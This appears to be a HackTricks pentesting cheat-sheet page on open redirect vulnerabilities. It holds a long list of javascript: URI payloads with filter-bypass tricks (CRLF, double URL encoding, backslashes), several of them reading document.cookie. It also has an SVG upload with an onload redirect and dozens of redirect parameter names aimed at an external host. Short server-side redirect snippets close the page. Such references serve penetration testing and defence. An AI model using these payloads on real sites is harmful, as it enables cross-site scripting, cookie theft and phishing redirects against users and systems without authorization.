HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Open Redirect
Support HackTricks and get benefits!

Open redirect

Redirect to localhost or arbitrary domains

Open Redirect to XSS

1
#Basic payload, javascript code is executed after "javascript:"
2
javascript:alert(1)
3
โ€‹
4
#Bypass "javascript" word filter with CRLF
5
java%0d%0ascript%0d%0a:alert(0)
6
โ€‹
7
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
8
#This bypasses FILTER_VALIDATE_URL os PHP
9
javascript://%250Aalert(1)
10
โ€‹
11
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
12
javascript://%250Aalert(1)//?1
13
javascript://%250A1?alert(1):0
14
โ€‹
15
#Others
16
%09Jav%09ascript:alert(document.domain)
17
javascript://%250Alert(document.location=document.cookie)
18
/%09/javascript:alert(1);
19
/%09/javascript:alert(1)
20
//%5cjavascript:alert(1);
21
//%5cjavascript:alert(1)
22
/%5cjavascript:alert(1);
23
/%5cjavascript:alert(1)
24
javascript://%0aalert(1)
25
<>javascript:alert(1);
26
//javascript:alert(1);
27
//javascript:alert(1)
28
/javascript:alert(1);
29
/javascript:alert(1)
30
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
31
javascript:alert(1);
32
javascript:alert(1)
33
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
34
javascript:confirm(1)
35
javascript://https://whitelisted.com/?z=%0Aalert(1)
36
javascript:prompt(1)
37
jaVAscript://whitelisted.com//%0d%0aalert(1);//
38
javascript://whitelisted.com?%a0alert%281%29
39
/x:1/:///%01javascript:alert(document.cookie)/
40
";alert(0);//
Copied!

Open Redirect uploading svg files

1
<code>
2
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
3
<svg
4
onload="window.location='http://www.example.com'"
5
xmlns="http://www.w3.org/2000/svg">
6
</svg>
7
</code>
Copied!

Common injection parameters

1
/{payload}
2
?next={payload}
3
?url={payload}
4
?target={payload}
5
?rurl={payload}
6
?dest={payload}
7
?destination={payload}
8
?redir={payload}
9
?redirect_uri={payload}
10
?redirect_url={payload}
11
?redirect={payload}
12
/redirect/{payload}
13
/cgi-bin/redirect.cgi?{payload}
14
/out/{payload}
15
/out?{payload}
16
?view={payload}
17
/login?to={payload}
18
?image_url={payload}
19
?go={payload}
20
?return={payload}
21
?returnTo={payload}
22
?return_to={payload}
23
?checkout_url={payload}
24
?continue={payload}
25
?return_path={payload}
26
success=https://c1h2e1.github.io
27
data=https://c1h2e1.github.io
28
qurl=https://c1h2e1.github.io
29
login=https://c1h2e1.github.io
30
logout=https://c1h2e1.github.io
31
ext=https://c1h2e1.github.io
32
clickurl=https://c1h2e1.github.io
33
goto=https://c1h2e1.github.io
34
rit_url=https://c1h2e1.github.io
35
forward_url=https://c1h2e1.github.io
36
@https://c1h2e1.github.io
37
forward=https://c1h2e1.github.io
38
pic=https://c1h2e1.github.io
39
callback_url=https://c1h2e1.github.io
40
jump=https://c1h2e1.github.io
41
jump_url=https://c1h2e1.github.io
42
click?u=https://c1h2e1.github.io
43
originUrl=https://c1h2e1.github.io
44
origin=https://c1h2e1.github.io
45
Url=https://c1h2e1.github.io
46
desturl=https://c1h2e1.github.io
47
u=https://c1h2e1.github.io
48
page=https://c1h2e1.github.io
49
u1=https://c1h2e1.github.io
50
action=https://c1h2e1.github.io
51
action_url=https://c1h2e1.github.io
52
Redirect=https://c1h2e1.github.io
53
sp_url=https://c1h2e1.github.io
54
service=https://c1h2e1.github.io
55
recurl=https://c1h2e1.github.io
56
j?url=https://c1h2e1.github.io
57
url=//https://c1h2e1.github.io
58
uri=https://c1h2e1.github.io
59
u=https://c1h2e1.github.io
60
allinurl:https://c1h2e1.github.io
61
q=https://c1h2e1.github.io
62
link=https://c1h2e1.github.io
63
src=https://c1h2e1.github.io
64
tc?src=https://c1h2e1.github.io
65
linkAddress=https://c1h2e1.github.io
66
location=https://c1h2e1.github.io
67
burl=https://c1h2e1.github.io
68
request=https://c1h2e1.github.io
69
backurl=https://c1h2e1.github.io
70
RedirectUrl=https://c1h2e1.github.io
71
Redirect=https://c1h2e1.github.io
72
ReturnUrl=https://c1h2e1.github.io
Copied!

Code examples

.Net

1
response.redirect("~/mysafe-subdomain/login.aspx")
Copied!

Java

1
response.redirect("http://mysafedomain.com");
Copied!

PHP

1
<?php
2
/* browser redirections*/
3
header("Location: http://mysafedomain.com");
4
exit;
5
?>
Copied!

Tools

Resources

Support HackTricks and get benefits!